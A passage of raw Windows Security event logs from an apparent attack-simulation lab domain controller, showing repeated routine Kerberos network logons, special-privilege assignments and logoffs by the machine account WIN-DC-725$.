Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248872 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC82E2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248871 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC8281 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248870 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC8281 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64060 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248869 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC8281 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248868 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC821B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248867 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC821B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64059 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248866 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC821B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248865 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC81BA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248864 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC81BA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64058 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248863 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC81BA - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248886 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC8473 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248885 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC8473 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64065 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248884 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC8473 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248883 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC8412 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248882 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC8412 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64064 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248881 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC8412 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248880 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC83AC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248879 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC83AC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64063 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248878 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC83AC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248877 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC834B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248876 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC834B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64062 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248875 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC834B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248898 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC8604 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248897 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC8604 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64069 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248896 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC8604 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248895 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC85A3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248894 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC85A3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64068 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248893 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC85A3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248892 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC853D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248891 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - 